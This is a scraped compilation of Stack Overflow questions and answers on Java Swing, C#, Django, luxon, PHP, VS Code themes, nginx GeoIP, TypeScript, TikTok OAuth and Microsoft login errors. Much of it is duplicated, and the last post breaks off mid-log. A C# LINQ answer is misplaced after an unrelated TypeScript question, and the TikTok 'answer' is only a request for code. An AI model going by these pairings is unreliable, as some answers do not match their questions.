问:
Java Swing: How can I get the previous value and the current value when editing a cell in JTable?
I have a table that contains data from mysql. I want to modify this data when I select any row and then the modification is done to the database.

答:
You could use TableCellListener to identify when an actual change in the cell data occurs, allowing you to retrieve the current value of the cell (the new value) using tcl.getNewValue(), as well as the old one using tcl.getOldValue(). Additionally, it allows you to get the row and column indices of the cell that has been modified.

Example as given in the source above:

```<code>Action action = new AbstractAction()
{
    public void actionPerformed(ActionEvent e)
    {
        TableCellListener tcl = (TableCellListener)e.getSource();
        System.out.println("Row   : " + tcl.getRow());
        System.out.println("Column: " + tcl.getColumn());
        System.out.println("Old   : " + tcl.getOldValue());
        System.out.println("New   : " + tcl.getNewValue());
    }
};

TableCellListener tcl = new TableCellListener(table, action);  // where table is the instance of your JTable
</code>```

Body:
You could use TableCellListener to identify when an actual change in the cell data occurs, allowing you to retrieve the current value of the cell (the new value) using tcl.getNewValue(), as well as the old one using tcl.getOldValue(). Additionally, it allows you to get the row and column indices of the cell that has been modified.

Example as given in the source above:

Action action = new AbstractAction()
{
    public void actionPerformed(ActionEvent e)
    {
        TableCellListener tcl = (TableCellListener)e.getSource();
        System.out.println("Row   : " + tcl.getRow());
        System.out.println("Column: " + tcl.getColumn());
        System.out.println("Old   : " + tcl.getOldValue());
        System.out.println("New   : " + tcl.getNewValue());
    }
};

TableCellListener tcl = new TableCellListener(table, action);  // where table is the instance of your JTable


来源: stackexchange

问:
Building a List from another list and other sources in C#
I have a ClassA with 10 fields and have the following list populated with 100 records.

```<code>List<ClassA> abc = new List<ClassA>();
</code>```

I have another class ClassB with 12 fields where 10 fields are same as Class and 2 extra fields which are lets say harcoded ,viz field11 and field12. Property names of ClassA and ClassB are same.

I have tried looping ClassA list and build ClassB object inside the loop and keep adding to the list of ClassB with 2 extra columns.
But is there any better way to achieve this?

答:
Yes, you can use auto mapping libraries. Like AutoMapper or Mapster
They can map your entities by properties naming convention. And also you can setup specific rules for each mapping.
Please look for documentation in above links.</p>

ContentLicense: CC BY-SA 4.0

Body:
I have a ClassA with 10 fields and have the following list populated with 100 records.

List<ClassA> abc = new List<ClassA>();

I have another class ClassB with 12 fields where 10 fields are same as Class and 2 extra fields which are lets say harcoded ,viz field11 and field12. Property names of ClassA and ClassB are same.

I have tried looping ClassA list and build ClassB object inside the loop and keep adding to the list of ClassB with 2 extra columns.
But is there any better way to achieve this?


问:
'>' not supported between instances of 'dict' and 'dict' in Django 3.0
I am using Django 3.0 and Python 3.7

here is my views.py

```<code>@login_required
def updated_status(request, pk):
    s1 = []
    purchase_quantity = Item.objects.filter(order_id=pk)
    data = set()
    a = [x.id for x in purchase_quantity if x.id not in data and not data.add(x.id)]
    stock_quantity = Stock.objects.filter(other_id=pk)
    data1 = set()
    b = [x.other_item.id for x in stock_quantity if
         x.other_item.id not in data1 and not data1.add(x.other_item.id)]
    if data == data1:
        for j in data1:
            stock_quantity = Stock.objects.filter(other_order_id=pk,
                                                           other_item_id=j).aggregate(Sum('quantity'))
            purchase_quantity = Item.objects.filter(
                    other_id=pk, id=j).aggregate(Sum('quantity'))
            if stock_quantity > purchase_quantity:
                Order.objects.filter(id=pk).update(flag=1)
            if stock_quantity >= purchase_quantity:
                s1.append('true')
            else:
                s1.append('false')
            if 'false' in s1:
                Order.objects.filter(id=pk).update(status=3)
            else:
                Order.objects.filter(id=pk).update(status=2)
    else:
        pass
    return redirect(reverse('get_list_data'))
</code>```

How could i solve this issue " TypeError: '>' not supported between instances of 'dict' and 'dict' "

答:
try this

Django aggregate return dict object.

https://docs.djangoproject.com/en/4.0/topics/db/aggregation/

```<code>for j in data1:
    stock_quantity = StockMovements.objects.filter(other_order_id=pk, other_order_item_id=j).aggregate(Sum('quantity'))
    purchase_item_quantity = OtherOrderItem.objects.filter(other_order_id=pk, id=j).aggregate(Sum('quantity'))
    if stock_quantity.get('quantity__sum') > purchase_item_quantity.get('quantity__sum'):
        OtherOrder.objects.filter(id=pk).update(flag=1)
    if stock_quantity.get('quantity__sum') >= purchase_item_quantity.get('quantity__sum'):
        pass
</code>```

aggregate() is a terminal clause for a QuerySet that, when invoked,
returns a dictionary of name-value pairs. The name is an identifier
for the aggregate value; the value is the computed aggregate. The name
is automatically generated from the name of the field and the
aggregate function. If you want to manually specify a name for the
aggregate value, you can do so by providing that name when you specify
the aggregate clause:

Body:
I am using Django 3.0 and Python 3.7

here is my views.py

@login_required
def updated_status(request, pk):
    s1 = []
    purchase_quantity = Item.objects.filter(order_id=pk)
    data = set()
    a = [x.id for x in purchase_quantity if x.id not in data and not data.add(x.id)]
    stock_quantity = Stock.objects.filter(other_id=pk)
    data1 = set()
    b = [x.other_item.id for x in stock_quantity if
         x.other_item.id not in data1 and not data1.add(x.other_item.id)]
    if data == data1:
        for j in data1:
            stock_quantity = Stock.objects.filter(other_order_id=pk,
                                                           other_item_id=j).aggregate(Sum('quantity'))
            purchase_quantity = Item.objects.filter(
                    other_id=pk, id=j).aggregate(Sum('quantity'))
            if stock_quantity > purchase_quantity:
                Order.objects.filter(id=pk).update(flag=1)
            if stock_quantity >= purchase_quantity:
                s1.append('true')
            else:
                s1.append('false')
            if 'false' in s1:
                Order.objects.filter(id=pk).update(status=3)
            else:
                Order.objects.filter(id=pk).update(status=2)
    else:
        pass
    return redirect(reverse('get_list_data'))

How could i solve this issue " TypeError: '>' not supported between instances of 'dict' and 'dict' "

Body:
try this

Django aggregate return dict object.

https://docs.djangoproject.com/en/4.0/topics/db/aggregation/

for j in data1:
    stock_quantity = StockMovements.objects.filter(other_order_id=pk, other_order_item_id=j).aggregate(Sum('quantity'))
    purchase_item_quantity = OtherOrderItem.objects.filter(other_order_id=pk, id=j).aggregate(Sum('quantity'))
    if stock_quantity.get('quantity__sum') > purchase_item_quantity.get('quantity__sum'):
        OtherOrder.objects.filter(id=pk).update(flag=1)
    if stock_quantity.get('quantity__sum') >= purchase_item_quantity.get('quantity__sum'):
        pass

aggregate() is a terminal clause for a QuerySet that, when invoked,
returns a dictionary of name-value pairs. The name is an identifier
for the aggregate value; the value is the computed aggregate. The name
is automatically generated from the name of the field and the
aggregate function. If you want to manually specify a name for the
aggregate value, you can do so by providing that name when you specify
the aggregate clause:


问:
Difference between date-fns' isValid and luxon's isValid
As mentioned in my question. I really don't understand difference between date-fns' isValid and luxon's isValid. I have one date string variable and one variable which I invoke the date string with new Date().

My date string is like this: Fri Feb 11 2022 02:00:00 GMT+0200 (Eastern European Standard Time)

I have few questions:

Why the date string is not valid both date-fns and luxon?

The invoked date string variable with new Date() in date-fns it returns false but in luxon it return true

I shared my code in codesand-box

This is my all code

import { isValid } from "date-fns";
import { DateTime } from "luxon";

const onlyDateString =
  "Fri Feb 11 2022 :00:00 GMT+0200 (Eastern European Standard Time)";

const dateString = new Date(
  "Fri Feb 11 2022 :00:00 GMT+0200 (Eastern European Standard Time)"
);

const dateStringDateFns = isValid(onlyDateString);
const dateStringLuxon = DateTime.fromISO(onlyDateString).isValid;

const fs = isValid(dateString);
const lu = DateTime.fromISO(dateString).isValid;

document.getElementById("app").innerHTML = `

 Date string

 ${dateStringDateFns}

${dateStringLuxon}

 Date string with new Date

${fs}

${lu}

`;```

答:
DateTime's fromISO takes string. I was comparing string with Date. That was the mistake. Solution is fromJSDate

```<code>DateTime.fromJSDate(dateString).isValid
</code>```

Body:
DateTime's fromISO takes string. I was comparing string with Date. That was the mistake. Solution is fromJSDate

DateTime.fromJSDate(dateString).isValid


问:
Can't access form data in PHP
I'm not a novice, but I'm not an expert either; I'm a keen learner.

Problem (minimalised) - I have a basic form which posts a name to another page which is supposed to receive name and print name. Code of both forms is below.

Form:

```<code><?php
    echo "Hello, World!";
    echo "
        <form action='CFAcomments.php' method='POST'>
            <table style='width: 50%;' border='0'>
                <tbody>
                    <tr>
                        <td><label for='name'>name: </label></td>
                        <td><input type='Text' name='name' value='anon' /></td>
                    </tr>
                    <tr>
                        <td><input type='submit' name='send' value='Send' /></td>
                    </tr>
                </tbody>
            </table>
        </form>
    ";
?>
</code>```

Form Process:

```<code><?php
    echo "Hello, World 1!";
    echo "<br/>";
    var_dump($_POST);
    $name = $_POST("name");
    echo "Hello $name!";
?>
</code>```

Result:

```<code>Hello, World 1!
array(2) { ["name"]=> string(11) "anon" ["send"]=> string(4) "Send" }
</code>```

Problem:

Even though var_dump($_POST) shows data being sent, echo $name print nothing. Changing echo $name to echo "test" prints nothing too. The code seems to stop executing at $name = $_post("name");. If I remove this line echo "anything" works.

I've used PHP and forms for the last two years and never come across this. Any help would be appreciated.

答:
You need to use

$_POST["name"];

$_POST is an associative array of variables passed to the current script via the HTTP POST method.

See: http://php.net/manual/en/reserved.variables.post.php

Title: Can't access form data in PHP

Body:
I'm not a novice, but I'm not an expert either; I'm a keen learner.

Problem (minimalised) - I have a basic form which posts a name to another page which is supposed to receive name and print name. Code of both forms is below.

Form:

<?php
    echo "Hello, World!";
    echo "
        <form action='CFAcomments.php' method='POST'>

                        name:
                        <input type='Text' name='name' value='anon' />

                        <input type='submit' name='send' value='Send' />

        </form>
    ";
?>

Form Process:

<?php
    echo "Hello, World 1!";
    echo "
";
    var_dump($_POST);
    $name = $_POST("name");
    echo "Hello $name!";
?>

Result:

Hello, World 1!
array(2) { ["name"]=> string(11) "anon" ["send"]=> string(4) "Send" }

Problem:

Even though var_dump($_POST) shows data being sent, echo $name print nothing. Changing echo $name to echo "test" prints nothing too. The code seems to stop executing at $name = $_post("name");. If I remove this line echo "anything" works.

I've used PHP and forms for the last two years and never come across this. Any help would be appreciated.

ContentLicense: CC BY-SA 3.0


问:
Upper case color problem in Monokai Pro theme in VS code
In the Monokai Pro color theme, some of my parameters starting with uppercase are shown in purple like the "DP_piping", as you can see in the following:

Is there any way to return it to the white color, like my other parameters?

I tried to switch to another theme, but either other themes are not comfortable for me or have the same problem.

答:
Any variable with more than one (1) capital before the _ is marked as constant.other.caps.python. I have no clue why they are special.

Trying to customize the color of only this TextMate scope depends on the theme. For some themes the customization is recognized but is strike through during lookup. On those themes you have to use the semantic scope. But they don't have a special color for constant.other.caps.python.

Monokai Pro does not have semantic scope for these variables but it defines a new color for constant.other.caps. By customizing this color for this theme you can remove the special color.

Add this to your settings.json (Global or Workspace)

```<code>  "editor.tokenColorCustomizations": {
    "[Monokai Pro]": {
      "textMateRules": [
        { "scope":"constant.other.caps",
          "settings": {"foreground": "#fcfcfa"}
        }
      ]
    }
  }
</code>```

Body:
Any variable with more than one (1) capital before the _ is marked as constant.other.caps.python. I have no clue why they are special.

Trying to customize the color of only this TextMate scope depends on the theme. For some themes the customization is recognized but is strike through during lookup. On those themes you have to use the semantic scope. But they don't have a special color for constant.other.caps.python.

Monokai Pro does not have semantic scope for these variables but it defines a new color for constant.other.caps. By customizing this color for this theme you can remove the special color.

Add this to your settings.json (Global or Workspace)

  "editor.tokenColorCustomizations": {
    "[Monokai Pro]": {
      "textMateRules": [
        { "scope":"constant.other.caps",
          "settings": {"foreground": "#fcfcfa"}
        }
      ]
    }
  }


问:
geoip_country_name returns "-" in nginx
I am trying to install geoip module for nginx though dockerfile by adding to my dockerfile the following:

```<code>RUN apk add --no-cache libmaxminddb nginx-mod-http-geoip

RUN cd /var/lib; \
    mkdir -p nginx; \
    wget -q -O- https://dl.miyuru.lk/geoip/maxmind/country/maxmind.dat.gz | gunzip -c > nginx/maxmind-country.dat; \
    wget -q -O- https://dl.miyuru.lk/geoip/maxmind/city/maxmind.dat.gz | gunzip -c > nginx/maxmind-city.dat; \
    chown -R nginx. nginx

COPY nginx.conf /etc/nginx/nginx.conf
</code>```

The nginx.config is the following:

```<code>load_module "modules/ngx_http_geoip_module.so";

user  nginx;
worker_processes  1;

error_log  /var/log/nginx/error.log warn;
pid        /var/run/nginx.pid;

events{worker_connections  1024;
}
# See blow link for Creating NGINX Plus and NGINX Configuration Files
# https://docs.nginx.com/nginx/admin-guide/basic-functionality/managing-configuration-files/
http {

    include /etc/nginx/mime.types;
    default_type  application/octet-stream;

    log_format kv 'site="$server_name" server="$host" dest_port="$server_port" dest_ip="$server_addr" '
                       'src="$remote_addr" src_ip="$realip_remote_addr" user="$remote_user" '
                       'time_local="$time_local" protocol="$server_protocol" status="$status" '
                       'bytes_out="$bytes_sent" bytes_in="$upstream_bytes_received" '
                       'http_referer="$http_referer" http_user_agent="$http_user_agent" '
                       'nginx_version="$nginx_version" http_x_forwarded_for="$http_x_forwarded_for" '
                       'http_x_header="$http_x_header" uri_query="$query_string" uri_path="$uri" '
                       'http_method="$request_method" response_time="$upstream_response_time" '
                        'cookie="$http_cookie" request_time="$request_time" category="$sent_http_content_type" https="$https"'
                        'geoip_country_name="$geoip_country_name"';

    access_log  /var/log/nginx/access.log kv;

    sendfile        on;
    keepalive_timeout  65;

    geoip_country /var/lib/nginx/maxmind-country.dat;
    geoip_city /var/lib/nginx/maxmind-city.dat;
    include /etc/nginx/conf.d/*.conf;

    # The identifier Backend is internal to nginx, and used to name this specific upstream
    upstream backend {
    # dashboard is the internal DNS name used by the backend Service inside Kubernetes
    server localhost:5005;
    }

    server {
        listen 80;
        root /usr/share/nginx/html;
        index index.html;

        location / {
        try_files $uri $uri/ /index.html;
        }

        location /api/ {
        resolver 127.0.0.11; #nginx will not crash if host is not found
        # The following statement will proxy traffic to the upstream
        proxy_pass http://backend;
        proxy_set_header Host $host;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        }
    }

}
</code>```

However, when I am inspecting the logs I am getting

geoip_country_name = "-"

Any idea of what is going wrong here? Could it be that I am running this locally?

答:
The "-" is what the logfile uses when the value is empty. GeoIP uses the $remote_addr to calculate the source of the request.

172.17.0.1 is not a public IP address, it is an internal address of one of your proxy servers. Check the $http_x_forwarded_for header value for the real remote address (assuming your reverse proxy servers are configured correctly.

The Geoip module provides the geoip_proxy directive to ignore $remote_addr and use $http_x_forwarded_for instead.

For example (added to your other geoip_ directives):

```<code>geoip_proxy 172.17.0.1;
</code>```

Title: geoip_country_name returns "-" in nginx

Body:
I am trying to install geoip module for nginx though dockerfile by adding to my dockerfile the following:

RUN apk add --no-cache libmaxminddb nginx-mod-http-geoip

RUN cd /var/lib; \
    mkdir -p nginx; \
    wget -q -O- https://dl.miyuru.lk/geoip/maxmind/country/maxmind.dat.gz | gunzip -c > nginx/maxmind-country.dat; \
    wget -q -O- https://dl.miyuru.lk/geoip/maxmind/city/maxmind.dat.gz | gunzip -c > nginx/maxmind-city.dat; \
    chown -R nginx. nginx

COPY nginx.conf /etc/nginx/nginx.conf

The nginx.config is the following:

load_module "modules/ngx_http_geoip_module.so";

user  nginx;
worker_processes  1;

error_log  /var/log/nginx/error.log warn;
pid        /var/run/nginx.pid;

events{worker_connections  1024;
}
# See blow link for Creating NGINX Plus and NGINX Configuration Files
# https://docs.nginx.com/nginx/admin-guide/basic-functionality/managing-configuration-files/
http {

    include /etc/nginx/mime.types;
    default_type  application/octet-stream;

    log_format kv 'site="$server_name" server="$host" dest_port="$server_port" dest_ip="$server_addr" '
                       'src="$remote_addr" src_ip="$realip_remote_addr" user="$remote_user" '
                       'time_local="$time_local" protocol="$server_protocol" status="$status" '
                       'bytes_out="$bytes_sent" bytes_in="$upstream_bytes_received" '
                       'http_referer="$http_referer" http_user_agent="$http_user_agent" '
                       'nginx_version="$nginx_version" http_x_forwarded_for="$http_x_forwarded_for" '
                       'http_x_header="$http_x_header" uri_query="$query_string" uri_path="$uri" '
                       'http_method="$request_method" response_time="$upstream_response_time" '
                        'cookie="$http_cookie" request_time="$request_time" category="$sent_http_content_type" https="$https"'
                        'geoip_country_name="$geoip_country_name"';

    access_log  /var/log/nginx/access.log kv;

    sendfile        on;
    keepalive_timeout  65;

    geoip_country /var/lib/nginx/maxmind-country.dat;
    geoip_city /var/lib/nginx/maxmind-city.dat;
    include /etc/nginx/conf.d/*.conf;

    # The identifier Backend is internal to nginx, and used to name this specific upstream
    upstream backend {
    # dashboard is the internal DNS name used by the backend Service inside Kubernetes
    server localhost:5005;
    }

    server {
        listen 80;
        root /usr/share/nginx/html;
        index index.html;

        location / {
        try_files $uri $uri/ /index.html;
        }

        location /api/ {
        resolver 127.0.0.11; #nginx will not crash if host is not found
        # The following statement will proxy traffic to the upstream
        proxy_pass http://backend;
        proxy_set_header Host $host;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        }
    }

}

However, when I am inspecting the logs I am getting

geoip_country_name = "-"

Any idea of what is going wrong here? Could it be that I am running this locally?

Body:
The "-" is what the logfile uses when the value is empty. GeoIP uses the $remote_addr to calculate the source of the request.

172.17.0.1 is not a public IP address, it is an internal address of one of your proxy servers. Check the $http_x_forwarded_for header value for the real remote address (assuming your reverse proxy servers are configured correctly.

The Geoip module provides the geoip_proxy directive to ignore $remote_addr and use $http_x_forwarded_for instead.

For example (added to your other geoip_ directives):

geoip_proxy 172.17.0.1;


问:
Typescript try catch function with generics
I am trying to make one line try catch function which accepts promise and generic type.
But when I use my function my generic type doesn't show my generic type

Object is of type 'unknown'.ts(2571)

Instead of showing {type: string}

Here is the function

export const tcatch = async <T extends unknown> (promise: Promise<any>) => {
  try {
    const tcData = await promise;
    return [tcData as T, null];
  } catch (tcError) {
    return [null, tcError];
  }
};
```
<p>And here is the usage</p>
<pre class="lang-js prettyprint-override"><code>const promise = WebBrowser.openAuthSessionAsync();
const [data, error] = await tcatch<{type: string}>(promise);
</code>```

答:
I am not sure how correct this solution is but I ended up with this one

export const tcatch = async <DataType, ErrorType>(
  promise: Promise<any>,
): Promise<[DataType | null, ErrorType | null]> => {
  try {
    const tcData = await promise;
    return [tcData as DataType, null];
  } catch (tcError) {
    return [null, tcError as ErrorType];
  }
};

// And then use it next

const [data, error] = await tcatch<{type: string}, {error_type: string}>(authSessionPromise);

const my_data = data?.type;
const my_error = error?.error_type;
```

Body:
I am trying to make one line try catch function which accepts promise and generic type.
But when I use my function my generic type doesn't show my generic type

Object is of type 'unknown'.ts(2571)

Instead of showing {type: string}

Here is the function

export const tcatch = async <T extends unknown> (promise: Promise<any>) => {
  try {
    const tcData = await promise;
    return [tcData as T, null];
  } catch (tcError) {
    return [null, tcError];
  }
};

And here is the usage

const promise = WebBrowser.openAuthSessionAsync();
const [data, error] = await tcatch<{type: string}>(promise);


答:
you can use select :</p>
```<code>var def = abc.Select(a => new ClassB{
field1 = a.field1,
field2 = a.field2,
....
field11 = default,
field12 = default,
}).ToList()
</code>```

Title: Building a List from another list and other sources in C#

Body:
you can use select :

var def = abc.Select(a => new ClassB{
field1 = a.field1,
field2 = a.field2,
....
field11 = default,
field12 = default,
}).ToList()


问:
TikTok oAuth API auth code is always expired
I am trying to login using TikTok oAuth API

I have a Firebase Cloud Function (Nodejs) set up to complete the oauth flow, based
on the TikTok API Documentation, but when i reach the point (https://open-api.tiktok.com/oauth/access_token) to get the actual user access token it fails and i get an error.

The response i get is status 200 and

```<code>{
    "data": {
        "captcha": "",
        "desc_url": "",
        "description": "Authorization code expired",
        "error_code": 10007
    },
    "message": "error"
}
</code>```

The TikTok API always gives me the same authorization code. So i am guessing something is wrong. Any suggestion is welcomed.

Here is the code sample from the backend
The /linkTikTok/oauth and point used to redirect the user to tikTok oauth and the /linkTikTok/validate is used to request the access token. The code runs fine but when it reaches const URL = https://open-api.tiktok.com/oauth/access_token; and actually requests the user access token i get response above.

```<code>import * as express from 'express';
import * as cors from 'cors';
import axios from 'axios';
import * as cookieParser from 'cookie-parser';
import { config } from 'firebase-functions';
import { firestore } from 'firebase-admin';
import { colRefs } from '../../constants/db-refs';

const app = express();
app.use(cors());
app.use(cookieParser());
app.listen();
const { client_key, client_secret } = config().tikTokCredentials;
const redirectURI = `https://xxxxx.firebaseapp.com/linkTikTok/validate`;

app.get('/linkTikTok/oauth', async (req, res) => {
 // The user's id;
 const uid = 'a_user_id';
 if (!uid) {
  return res.status(401).send('This action requires user authentication');
 }
 // Random state
 const csrfState = Math.random().toString(36).substring(7);
 const state: any = {
  state: csrfState,
  timestamp: firestore.Timestamp.now(),
  uid,
 };
 // A state object kepts in firestore
 await colRefs.tikTokAuthState.doc(uid).set(state);
 res.cookie('__session', { state: csrfState });
 let url = 'https://open-api.tiktok.com/platform/oauth/connect/';

 url += `?client_key=${client_key}`;
 url += '&scope=user.info.basic,video.list';
 url += '&response_type=code';
 url += `&redirect_uri=${redirectURI}`;
 url += '&state=' + csrfState;

 return res.redirect(url);
});

app.get('/linkTikTok/validate', async (req, res) => {
 // Query state
 const state = req.query.state as string;

 if (!state) {
  return res.status(403).send('No state found');
 }
 const code = req.query.code as string;
 if (!code) {
  return res.status(403).send('No code found');
 }
 const sessionCookie = req.cookies['__session'] ?? {};
 const sessionState = sessionCookie.state;

 if (state !== sessionState) {
  return res.status(403).send('Wrong state');
 }
 // Retrieve the uid from firestore
 const uid = await (async () => {
  const states = (await colRefs.tikTokAuthState.where('state', '==', state).get()).docs.map(d => d.data());
  if (states.length !== 0 && states.length > 1) {
   console.warn('More than one state');
  }
  return states[0].uid;
 })();
console.log({ uid });

const URL = `https://open-api.tiktok.com/oauth/access_token`;

const params = {
 client_key,
 client_secret,
 code,
 grant_type: 'authorization_code',
};

try {
 const result = await axios.post<any>(URL, '', {
   params,
 });
 const data = result.data.data;
 const {
   access_token: accessToken,
   refresh_token,
   refresh_expires_in,
   open_id: openId,
   expires_in,
 } = data;

 if (!accessToken) {
   throw new Error('No access token found');
 }
 // Application logic
 ...
});
</code>```

答: would you share the piece of code you've written so that we could find the spot.</p>

Body:
I am trying to login using TikTok oAuth API

I have a Firebase Cloud Function (Nodejs) set up to complete the oauth flow, based
on the TikTok API Documentation, but when i reach the point (https://open-api.tiktok.com/oauth/access_token) to get the actual user access token it fails and i get an error.

The response i get is status 200 and

{
    "data": {
        "captcha": "",
        "desc_url": "",
        "description": "Authorization code expired",
        "error_code": 10007
    },
    "message": "error"
}

The TikTok API always gives me the same authorization code. So i am guessing something is wrong. Any suggestion is welcomed.

Here is the code sample from the backend
The /linkTikTok/oauth and point used to redirect the user to tikTok oauth and the /linkTikTok/validate is used to request the access token. The code runs fine but when it reaches const URL = https://open-api.tiktok.com/oauth/access_token; and actually requests the user access token i get response above.

import * as express from 'express';
import * as cors from 'cors';
import axios from 'axios';
import * as cookieParser from 'cookie-parser';
import { config } from 'firebase-functions';
import { firestore } from 'firebase-admin';
import { colRefs } from '../../constants/db-refs';

const app = express();
app.use(cors());
app.use(cookieParser());
app.listen();
const { client_key, client_secret } = config().tikTokCredentials;
const redirectURI = `https://xxxxx.firebaseapp.com/linkTikTok/validate`;

app.get('/linkTikTok/oauth', async (req, res) => {
 // The user's id;
 const uid = 'a_user_id';
 if (!uid) {
  return res.status(401).send('This action requires user authentication');
 }
 // Random state
 const csrfState = Math.random().toString(36).substring(7);
 const state: any = {
  state: csrfState,
  timestamp: firestore.Timestamp.now(),
  uid,
 };
 // A state object kepts in firestore
 await colRefs.tikTokAuthState.doc(uid).set(state);
 res.cookie('__session', { state: csrfState });
 let url = 'https://open-api.tiktok.com/platform/oauth/connect/';

 url += `?client_key=${client_key}`;
 url += '&scope=user.info.basic,video.list';
 url += '&response_type=code';
 url += `&redirect_uri=${redirectURI}`;
 url += '&state=' + csrfState;

 return res.redirect(url);
});

app.get('/linkTikTok/validate', async (req, res) => {
 // Query state
 const state = req.query.state as string;

 if (!state) {
  return res.status(403).send('No state found');
 }
 const code = req.query.code as string;
 if (!code) {
  return res.status(403).send('No code found');
 }
 const sessionCookie = req.cookies['__session'] ?? {};
 const sessionState = sessionCookie.state;

 if (state !== sessionState) {
  return res.status(403).send('Wrong state');
 }
 // Retrieve the uid from firestore
 const uid = await (async () => {
  const states = (await colRefs.tikTokAuthState.where('state', '==', state).get()).docs.map(d => d.data());
  if (states.length !== 0 && states.length > 1) {
   console.warn('More than one state');
  }
  return states[0].uid;
 })();
console.log({ uid });

const URL = `https://open-api.tiktok.com/oauth/access_token`;

const params = {
 client_key,
 client_secret,
 code,
 grant_type: 'authorization_code',
};

try {
 const result = await axios.post<any>(URL, '', {
   params,
 });
 const data = result.data.data;
 const {
   access_token: accessToken,
   refresh_token,
   refresh_expires_in,
   open_id: openId,
   expires_in,
 } = data;

 if (!accessToken) {
   throw new Error('No access token found');
 }
 // Application logic
 ...
});


问:
ASP.NET Core, Microsoft Account Login & AADSTS70001
I'm trying to use the Microsoft Account Login in my application. I tried it some years ago and MSAccount was always difficult to use because of some restrictions (localhost development etc.) - but it seems this is now possible.

I used this docs.microsoft guide and created a brand new ASP.NET Core Application & used the Microsoft.AspNetCore.Authentication.MicrosoftAccount NuGet package.

When I click the Microsoft Login Button I'm redirected to the login.microsoft page:
(I removed the clientId & state)

```<code>https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=....&scope=https%3A%2F%2Fgraph.microsoft.com%2Fuser.read&response_type=code&redirect_uri=https%3A%2F%2Flocalhost%3A44320%2Fsignin-microsoft&state=....
</code>```

Now I'm entering my personal Microsoft Account login information (e.g. foobar@hotmail.com)

Next I will be redirected to the "Enter password" page:

```<code>https://login.live.com/oauth20_authorize.srf?client_id=....&scope=https%3A%2F%2Fgraph.microsoft.com%2Fuser.read&response_type=code&redirect_uri=https%3A%2F%2Flocalhost%3A44320%2Fsignin-microsoft&state=...&login_hint=...&ui_locales=en-US&display=page&uaid=21775924944348cfb0f84a8c0af34259&issuer=mso&tenant=common&msproxy=1
</code>```

After I type in my password and click sign-in I'm redirected back to my application with a big "unhandled exception occurred"

Exception: OAuth token endpoint failure: Status: BadRequest;Headers: Cache-Control: no-store, no-cache
  Date: Wed, 12 Apr 2017 06:57:18 GMT
  Pragma: no-cache
  P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"
  Server: Microsoft-IIS/8.5
  Set-Cookie: esctx=AQABAAAAAABnfiG-mA6NTae7CdWW7QfdD3JzLSDc3ZvXogRmsm6vmOSSFDequk0G6rQQlFmOrTaEnzNYcStgzBDm04fNESerSjI3ytHGCzBQkCrOZSy5bYq5CrARZbRfx_oh8wbkqVaK8c1Q6VYyxN43noSOCpff72HxLg9fgB7t4DIPl7QLSjsFVmVxxeN4Xs06bT40AxogAA; domain=.login.microsoftonline.com; path=/; secure; HttpOnly, x-ms-gateway-slice=004; path=/; secure; HttpOnly, stsservicecookie=ests; path=/; secure; HttpOnly
  Strict-Transport-Security: max-age=31536000; includeSubDomains
  X-Content-Type-Options: nosniff
  x-ms-request-id: de0960ca-282b-4832-8d79-7e544fb30500
  X-Powered-By: ASP.NET
  ;Body: {"error":"unauthorized_client","error_description":"AADSTS70001: Application with identifier '000000004C1CEB08' was not found in the directory 9188040d-6c67-4c5b-b112-36a304b66dad\r\nTrace ID: de0960ca-282b-4832-8d79-7e544fb30500\r\nCorrelation ID: f204ae6b-8169-4b2c-8af6-902f1c62b79d\r\nTimestamp: 2017-04-12 06:57:19Z","error_codes":[70001],"timestamp":"2017-04-12 06:57:19Z","trace_id":"de0960ca-282b-4832-8d79-7e544fb30500","correlation_id":"f204ae6b-8169-4b2c-8af6-902f1c62b79d"};
  ```

In the past we did some Azure Active Directory / Office 365 development and my MSAccount might also be inside one or two different Azure Active Directories, but my goal is just to login with my personal Microsoft Account, so I'm not sure why the error points to some AAD directory.

Any hint how to solve this?

答:
As below image your ClientSecret is under "Value"(not under "Secret ID"):

and As below image your ClientId is "Application (client) ID"(not "Directory (tenant) ID"):

Body:
I'm trying to use the Microsoft Account Login in my application. I tried it some years ago and MSAccount was always difficult to use because of some restrictions (localhost development etc.) - but it seems this is now possible.

I used this docs.microsoft guide and created a brand new ASP.NET Core Application & used the Microsoft.AspNetCore.Authentication.MicrosoftAccount NuGet package.

When I click the Microsoft Login Button I'm redirected to the login.microsoft page:
(I removed the clientId & state)

https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=....&scope=https%3A%2F%2Fgraph.microsoft.com%2Fuser.read&response_type=code&redirect_uri=https%3A%2F%2Flocalhost%3A44320%2Fsignin-microsoft&state=....

Now I'm entering my personal Microsoft Account login information (e.g. foobar@hotmail.com)

Next I will be redirected to the "Enter password" page:

https://login.live.com/oauth20_authorize.srf?client_id=....&scope=https%3A%2F%2Fgraph.microsoft.com%2Fuser.read&response_type=code&redirect_uri=https%3A%2F%2Flocalhost%3A44320%2Fsignin-microsoft&state=...&login_hint=...&ui_locales=en-US&display=page&uaid=21775924944348cfb0f84a8c0af34259&issuer=mso&tenant=common&msproxy=1

After I type in my password and click sign-in I'm redirected back to my application with a big "unhandled exception occurred"

Exception: OAuth token endpoint failure: Status: BadRequest;Headers: Cache-Control: no-store, no-cache
  Date: Wed, 12 Apr 2017 06:57:18 GMT
  Pragma: no-cache
  P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"
  Server: Microsoft-IIS/8.5
  Set-Cookie: esctx=AQABAAAAAABnfiG-mA6NTae7CdWW7QfdD3JzLSDc3ZvXogRmsm6vmOSSFDequk0G6rQQlFmOrTaEnzNYcStgzBDm04fNESerSjI3ytHGCzBQkCrOZSy5bYq5CrARZbRfx_oh8wbkqVaK8c1Q6VYyxN43noSOCpff72HxLg9fgB7t4DIPl7QLSjsFVmVxxeN4Xs06bT40AxogAA; domain=.login.microsoftonline.com; path=/; secure; HttpOnly, x-ms-gateway-slice=004; path=/; secure; HttpOnly, stsservicecookie=ests; path=/; secure; HttpOnly
  Strict-Transport-Security: max-age=31536000; includeSubDomains
  X-Content-Type-Options: nosniff
  x-ms-request-id: de0960ca-282b-4832-8d79-7e544fb30500
  X-Powered-By: ASP.NET
